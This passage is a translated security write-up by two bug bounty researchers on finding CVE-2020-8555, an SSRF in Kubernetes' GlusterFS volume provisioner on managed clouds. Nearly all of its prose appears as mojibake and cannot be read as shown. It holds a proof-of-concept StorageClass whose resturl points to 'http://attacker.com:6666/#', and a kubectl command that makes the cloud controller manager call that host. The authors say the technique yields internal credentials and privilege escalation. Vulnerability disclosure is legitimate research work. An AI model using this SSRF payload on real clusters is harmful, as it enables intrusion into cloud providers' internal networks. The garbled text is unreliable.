рдЬрдм рдпрд╣ рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИ...

рдЯрд┐рдкреНрдкрдгреАред рдЕрдиреБрд╡рд╛рджред: рдЗрд╕ рд▓реЗрдЦ рдХреЗ рд▓реЗрдЦрдХ рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рдмрд╛рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рд╡реЗ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдХреИрд╕реЗ рдХрд╛рдордпрд╛рдм рд░рд╣реЗ CVE-2020-8555 рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдореЗрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐ рд╢реБрд░реВ рдореЗрдВ рдпрд╣ рдмрд╣реБрдд рдЦрддрд░рдирд╛рдХ рдирд╣реАрдВ рд▓рдЧрд╛, рдЕрдиреНрдп рдХрд╛рд░рдХреЛрдВ рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░ рдЗрд╕рдХреА рдЧрдВрднреАрд░рддрд╛ рдХреБрдЫ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХрддрдо рд╣реЛ рдЧрдИред рдХрдИ рд╕рдВрдЧрдардиреЛрдВ рдиреЗ рд╡рд┐рд╢реЗрд╖рдЬреНрдЮреЛрдВ рдХреЛ рдЙрдирдХреЗ рдХрд╛рдо рдХреЗ рд▓рд┐рдП рдЙрджрд╛рд░рддрд╛рдкреВрд░реНрд╡рдХ рдкреБрд░рд╕реНрдХреГрдд рдХрд┐рдпрд╛ред

рдЬрдм рдпрд╣ рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИ...

рд╣рдо рдХреМрди рд╣реИрдВ

рд╣рдо рджреЛ рдлреНрд░рд╛рдВрд╕реАрд╕реА рд╕реБрд░рдХреНрд╖рд╛ рд╢реЛрдзрдХрд░реНрддрд╛ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рд╕рдВрдпреБрдХреНрдд рд░реВрдк рд╕реЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдореЗрдВ рдПрдХ рднреЗрджреНрдпрддрд╛ рдХреА рдЦреЛрдЬ рдХреАред рд╣рдорд╛рд░реЗ рдирд╛рдо рдмреНрд░рд╛рдЗрд╕ рдСрдЧреНрд░рд╛рд╕ рдФрд░ рдХреНрд░рд┐рд╕реНрдЯреЛрдлрд╝ рд╣рд╛рдЙрдХреНрд╡рд┐рд░реНрдЯ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХрдИ рдмрдЧ рдмрд╛рдЙрдВрдЯреА рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдкрд░ рд╣рдореЗрдВ рдХреНрд░рдорд╢рдГ рд░реАрд╡рд░рдЬрд╝реИрдХреНрд╕ рдФрд░ рд╣реИрдЪ рдХреЗ рдирд╛рдо рд╕реЗ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ:

рдХреНрдпрд╛ рд╣реБрдЖ?

рдпрд╣ рд▓реЗрдЦ рдпрд╣ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдХрд╛ рд╣рдорд╛рд░рд╛ рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ рдХреИрд╕реЗ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЕрдиреБрд╕рдВрдзрд╛рди рдкрд░рд┐рдпреЛрдЬрдирд╛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рд░реВрдк рд╕реЗ рдмрдЧ рд╢рд┐рдХрд╛рд░рд┐рдпреЛрдВ рдХреЗ рдЬреАрд╡рди рдореЗрдВ рд╕рдмрд╕реЗ рд░реЛрдорд╛рдВрдЪрдХ рд╕рд╛рд╣рд╕рд┐рдХ рдХрд╛рд░реНрдп рдореЗрдВ рдмрджрд▓ рдЧрдИ (рдХрдо рд╕реЗ рдХрдо рдЕрднреА рдХреЗ рд▓рд┐рдП)ред

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рд╢рд╛рдпрдж рдЬрд╛рдирддреЗ рд╣реИрдВ, рдмрдЧ рд╢рд┐рдХрд╛рд░рд┐рдпреЛрдВ рдХреЗ рдкрд╛рд╕ рдХреБрдЫ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдВ рд╣реИрдВ:

  • рд╡реЗ рдкрд┐рдЬрд╝реНрдЬрд╝рд╛ рдФрд░ рдмрд┐рдпрд░ рдкрд░ рд░рд╣рддреЗ рд╣реИрдВ;
  • рд╡реЗ рддрдм рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ рдЬрдм рдмрд╛рдХреА рд╕рднреА рд▓реЛрдЧ рд╕реЛ рд░рд╣реЗ рд╣реЛрддреЗ рд╣реИрдВред

рд╣рдо рдЗрди рдирд┐рдпрдореЛрдВ рдХреЗ рдЕрдкрд╡рд╛рдж рдирд╣реАрдВ рд╣реИрдВ: рд╣рдо рдЖрдо рддреМрд░ рдкрд░ рд╕рдкреНрддрд╛рд╣рд╛рдВрдд рдкрд░ рдорд┐рд▓рддреЗ рд╣реИрдВ рдФрд░ рд╣реИрдХрд┐рдВрдЧ рдореЗрдВ рд░рд╛рддреЛрдВ рдХреА рдиреАрдВрдж рд╣рд░рд╛рдо рдХрд░ рджреЗрддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рдЗрдирдореЗрдВ рд╕реЗ рдПрдХ рд░рд╛рдд рдХрд╛ рдЕрдВрдд рдмрд╣реБрдд рд╣реА рдЕрд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╕реЗ рд╣реБрдЖред

рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ рд╣рдо рдЗрд╕рдореЗрдВ рднрд╛рдЧреАрджрд╛рд░реА рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд┐рд▓рдиреЗ рд╡рд╛рд▓реЗ рдереЗ CTF рдЕрдЧрд▓реЗ рджрд┐рдиред рдкреНрд░рдмрдВрдзрд┐рдд рд╕реЗрд╡рд╛ рдкрд░рд┐рд╡реЗрд╢ рдореЗрдВ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рддрдЪреАрдд рдХреЗ рджреМрд░рд╛рди, рд╣рдореЗрдВ SSRF рдХрд╛ рдкреБрд░рд╛рдирд╛ рд╡рд┐рдЪрд╛рд░ рдпрд╛рдж рдЖрдпрд╛ (рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЕрдиреБрд░реЛрдз рдЬрд╛рд▓рд╕рд╛рдЬреА) рдФрд░ рдЗрд╕реЗ рдПрдХ рд╣рдорд▓реЗ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛ред

рд░рд╛рдд 11 рдмрдЬреЗ рд╣рдо рдЕрдкрдирд╛ рд╢реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмреИрдареЗ рдФрд░ рдкрд░рд┐рдгрд╛рдореЛрдВ рд╕реЗ рдмрд╣реБрдд рд╕рдВрддреБрд╖реНрдЯ рд╣реЛрдХрд░ рд╕реБрдмрд╣ рдЬрд▓реНрджреА рд╕реЛ рдЧрдПред рдЗрд╕ рд╢реЛрдз рдХреЗ рдХрд╛рд░рдг рд╣реА рд╣рдореЗрдВ рдПрдордПрд╕рдЖрд░рд╕реА рдмрдЧ рдмрд╛рдЙрдВрдЯреА рдХрд╛рд░реНрдпрдХреНрд░рдо рдХрд╛ рдкрддрд╛ рдЪрд▓рд╛ рдФрд░ рд╣рдо рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХрд╛рд░рдирд╛рдореЗ рдХреЗ рд╕рд╛рде рд╕рд╛рдордиреЗ рдЖрдПред

рдХрдИ рд╕рдкреНрддрд╛рд╣/рдорд╣реАрдиреЗ рдмреАрдд рдЧрдП, рдФрд░ рд╣рдорд╛рд░реЗ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдкрд░рд┐рдгрд╛рдо рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдПрдЬрд╝реНрдпреЛрд░ рдХреНрд▓рд╛рдЙрдб рдмрдЧ рдмрд╛рдЙрдВрдЯреА рдХреЗ рдЗрддрд┐рд╣рд╛рд╕ рдореЗрдВ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдкреБрд░рд╕реНрдХрд╛рд░реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдкреНрд░рд╛рдкреНрдд рд╣реБрдЖ - рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдкреБрд░рд╕реНрдХрд╛рд░ рдХреЗ рдЕрд▓рд╛рд╡рд╛!

рд╣рдорд╛рд░реЗ рд╢реЛрдз рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдЙрддреНрдкрд╛рдж рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд┐рддрд┐ рдиреЗ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ CVE-2020-8555.

рдЕрдм рдореИрдВ рдкрд╛рдИ рдЧрдИ рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдпрдерд╛рд╕рдВрднрд╡ рдЬрд╛рдирдХрд╛рд░реА рдлреИрд▓рд╛рдирд╛ рдЪрд╛рд╣реВрдВрдЧрд╛ред рд╣рдореЗрдВ рдЖрд╢рд╛ рд╣реИ рдХрд┐ рдЖрдк рдЦреЛрдЬ рдХреА рд╕рд░рд╛рд╣рдирд╛ рдХрд░реЗрдВрдЧреЗ рдФрд░ рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг рдЗрдиреНрдлреЛрд╕реЗрдХ рд╕рдореБрджрд╛рдп рдХреЗ рдЕрдиреНрдп рд╕рджрд╕реНрдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╛рдЭрд╛ рдХрд░реЗрдВрдЧреЗ!

рддреЛ рдпреЗ рд╣реИ рд╣рдорд╛рд░реА рдХрд╣рд╛рдиреА...

рдкреНрд░рд╕рдВрдЧ

рдЬреЛ рдХреБрдЫ рд╣реБрдЖ рдЙрд╕реЗ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдЗрдП рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рджреЗрдЦреЗрдВ рдХрд┐ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рдмрдВрдзрд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред

рдЬрдм рдЖрдк рдРрд╕реЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ рдЗрдВрд╕реНрдЯреЗрдВрдЯ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдкреНрд░рдмрдВрдзрди рдкрд░рдд рдЖрдорддреМрд░ рдкрд░ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛ рдХреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╣реЛрддреА рд╣реИ:

рдЬрдм рдпрд╣ рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИ...
рдирд┐рдпрдВрддреНрд░рдг рдкрд░рдд рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛ рдХреА рдкрд░рд┐рдзрд┐ рдкрд░ рд╕реНрдерд┐рдд рд╣реИ, рдЬрдмрдХрд┐ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдиреЛрдбреНрд╕ рдЧреНрд░рд╛рд╣рдХ рдХреА рдкрд░рд┐рдзрд┐ рдкрд░ рд╕реНрдерд┐рдд рд╣реИрдВ

рд╡реЙрд▓реНрдпреВрдо рдХреЛ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрдиреНрд╣реЗрдВ рдмрд╛рд╣рд░реА рд╕реНрдЯреЛрд░реЗрдЬ рдмреИрдХрдПрдВрдб рд╕реЗ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдкреНрд░рд╛рд╡рдзрд╛рди рдХрд░рдиреЗ рдФрд░ рдкреАрд╡реАрд╕реА (рд▓рдЧрд╛рддрд╛рд░ рд╡реЙрд▓реНрдпреВрдо рджрд╛рд╡рд╛, рдпрд╛рдиреА рд╡реЙрд▓реНрдпреВрдо рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз) рдХреЗ рд╕рд╛рде рдЙрдирдХреА рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдкреАрд╡реАрд╕реА рдХреЗ рдмрдирдиреЗ рдФрд░ K8s рдХреНрд▓рд╕реНрдЯрд░ рдореЗрдВ рд╕реНрдЯреЛрд░реЗрдЬрдХреНрд▓рд╛рд╕ рд╕реЗ рдмрдВрдзреЗ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рд╡реЙрд▓реНрдпреВрдо рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдХреА рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреНрдпреВрдм/рдХреНрд▓рд╛рдЙрдб рдирд┐рдпрдВрддреНрд░рдХ рдкреНрд░рдмрдВрдзрдХ рджреНрд╡рд╛рд░рд╛ рдХреА рдЬрд╛рддреА рд╣реИ (рдЗрд╕рдХрд╛ рд╕рдЯреАрдХ рдирд╛рдо рд░рд┐рд▓реАрдЬ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ)ред (рдЯрд┐рдкреНрдкрдгреАред рдЕрдиреБрд╡рд╛рджред: рд╣рдо рдкрд╣рд▓реЗ рд╣реА рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛рдУрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реАрд╕реАрдПрдо рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рд▓рд┐рдЦ рдЪреБрдХреЗ рд╣реИрдВ рдпрд╣рд╛рдВ.)

рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рдХрдИ рдкреНрд░рдХрд╛рд░ рдХреЗ рдкреНрд░рд╛рд╡рдзрд╛рдирдХрд░реНрддрд╛ рд╣реИрдВ: рдЙрдирдореЗрдВ рд╕реЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рдЗрд╕рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ рдСрд░реНрдХреЗрд╕реНрдЯреНрд░реЗрдЯрд░ рдХреЛрд░, рдЬрдмрдХрд┐ рдЕрдиреНрдп рдХреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░рд╛рд╡рдзрд╛рдирдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдХреНрд▓рд╕реНрдЯрд░ рдореЗрдВ рдкреЙрдбреНрд╕ рдореЗрдВ рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЕрдкрдиреЗ рд╢реЛрдз рдореЗрдВ, рд╣рдордиреЗ рдЖрдВрддрд░рд┐рдХ рд╡реЙрд▓реНрдпреВрдо рдкреНрд░рд╛рд╡рдзрд╛рди рддрдВрддреНрд░ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд┐рдпрд╛, рдЬрд┐рд╕реЗ рдиреАрдЪреЗ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

рдЬрдм рдпрд╣ рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИ...
рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдкреНрд░реЛрд╡рд┐рдЬрдирд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реЙрд▓реНрдпреВрдо рдХрд╛ рдЧрддрд┐рд╢реАрд▓ рдкреНрд░рд╛рд╡рдзрд╛рди

рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рдЬрдм рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреЛ рдПрдХ рдкреНрд░рдмрдВрдзрд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рддреИрдирд╛рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдирд┐рдпрдВрддреНрд░рдХ рдкреНрд░рдмрдВрдзрдХ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛ рдХреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рд╡реЙрд▓реНрдпреВрдо рдирд┐рд░реНрдорд╛рдг рдЕрдиреБрд░реЛрдз (рдЙрдкрд░реЛрдХреНрдд рдЪрд┐рддреНрд░ рдореЗрдВ рд╕рдВрдЦреНрдпрд╛ 3) рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛ рдХреЗ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред рдФрд░ рдпрд╣реАрдВ рдЪреАрдЬреЗрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рдЬрд╛рддреА рд╣реИрдВ!

рд╣реИрдХрд┐рдВрдЧ рдкрд░рд┐рджреГрд╢реНрдп

рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ, рд╣рдо рдмрддрд╛рдПрдВрдЧреЗ рдХрд┐ рд╣рдордиреЗ рдКрдкрд░ рдЙрд▓реНрд▓рд┐рдЦрд┐рдд рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рдХрд╛ рд▓рд╛рдн рдХреИрд╕реЗ рдЙрдард╛рдпрд╛ рдФрд░ рдХреНрд▓рд╛рдЙрдб рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рддрд╛ рдХреЗ рдЖрдВрддрд░рд┐рдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдХреИрд╕реЗ рдкрд╣реБрдВрдЪ рдмрдирд╛рдИред рдпрд╣ рдЖрдкрдХреЛ рдпрд╣ рднреА рджрд┐рдЦрд╛рдПрдЧрд╛ рдХрд┐ рдЖрдк рдХреБрдЫ рдХрд╛рд░реНрдп рдХреИрд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдЖрдВрддрд░рд┐рдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдпрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдирд╛ред

рдПрдХ рд╕рд╛рдзрд╛рд░рдг рд╣реЗрд░рдлреЗрд░ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕рд░реНрд╡рд┐рд╕ рд╕рд╛рдЗрдб рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдлреЛрд░реНрдЬрд░реА) рдиреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдкрд░рд┐рд╡реЗрд╢ рд╕реЗ рдкрд░реЗ рдкреНрд░рдмрдВрдзрд┐рдд K8s рдХреЗ рддрд╣рдд рд╡рд┐рднрд┐рдиреНрди рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреЗ рд╕рдореВрд╣реЛрдВ рдореЗрдВ рдЬрд╛рдиреЗ рдореЗрдВ рдорджрдж рдХреАред

рдЕрдкрдиреЗ рд╢реЛрдз рдореЗрдВ, рд╣рдордиреЗ рдЧреНрд▓рд╕реНрдЯрд░рдПрдлрдПрд╕ рдкреНрд░реЛрд╡рд┐рдЬрдирд░ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд┐рдпрд╛ред рдЗрд╕ рддрдереНрдп рдХреЗ рдмрд╛рд╡рдЬреВрдж рдХрд┐ рдЗрд╕ рд╕рдВрджрд░реНрдн рдореЗрдВ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЖрдЧреЗ рдХреЗ рдХреНрд░рдо рдХрд╛ рд╡рд░реНрдгрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдХреНрд╡реЛрдмрд╛рдЗрдЯ, рд╕реНрдЯреЛрд░реЗрдЬрдУрдПрд╕ рдФрд░ рд╕реНрдХреЗрд▓рдЖрдИрдУ рд╕рдорд╛рди рднреЗрджреНрдпрддрд╛ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВред

рдЬрдм рдпрд╣ рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИ...
рдбрд╛рдпрдиреЗрдорд┐рдХ рд╡реЙрд▓реНрдпреВрдо рдкреНрд░рд╛рд╡рдзрд╛рди рддрдВрддреНрд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ

рднрдВрдбрд╛рд░рдг рд╡рд░реНрдЧ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рджреМрд░рд╛рди GlusterFS рдЧреЛрд▓рд╛рдВрдЧ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЛрд░реНрд╕ рдХреЛрдб рдореЗрдВ рд╣рдо рджреЗрдЦрд╛рд╡реЙрд▓реНрдпреВрдо рдирд┐рд░реНрдорд╛рдг рдХреЗ рджреМрд░рд╛рди рднреЗрдЬреЗ рдЧрдП рдкрд╣рд▓реЗ HTTP рдЕрдиреБрд░реЛрдз (3) рдкрд░, рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдХрд╕реНрдЯрдо URL рдХреЗ рдЕрдВрдд рддрдХ resturl рдЬреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ /volumes.

рд╣рдордиреЗ рдЗрд╕ рдЕрддрд┐рд░рд┐рдХреНрдд рдкрде рдХреЛ рдЬреЛрдбрд╝рдХрд░ рдЫреБрдЯрдХрд╛рд░рд╛ рдкрд╛рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛ # рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ resturl. рдпрд╣рд╛рдВ рдкрд╣рд▓рд╛ YAML рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣рдордиреЗ рд╕реЗрдореА-рдмреНрд▓рд╛рдЗрдВрдб SSRF рднреЗрджреНрдпрддрд╛ рдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдерд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдЕрд░реНрдз-рдЕрдВрдз рдпрд╛ рдЕрд░реНрдз-рдЕрдВрдз SSRF рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣рд╛рдВ - рд▓рдЧрднрдЧред рдЕрдиреБрд╡рд╛рджред):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

рдлрд┐рд░ рд╣рдордиреЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рдЗрдирд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ Kubectl. рдЖрдорддреМрд░ рдкрд░, рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛ (Azure, Google, AWS, рдЖрджрд┐) рдЖрдкрдХреЛ рдЗрд╕ рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред

рдЗрд╕рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рдореИрдВ рдЕрдкрдиреА "рд╡рд┐рд╢реЗрд╖" рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдерд╛ред рдХреНрдпреВрдм-рдирд┐рдпрдВрддреНрд░рдХ-рдкреНрд░рдмрдВрдзрдХ рдиреЗ рдкрд░рд┐рдгрд╛рдореА HTTP рдЕрдиреБрд░реЛрдз рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛:

kubectl create -f sc-poc.yaml

рдЬрдм рдпрд╣ рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИ...
рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рдЙрддреНрддрд░

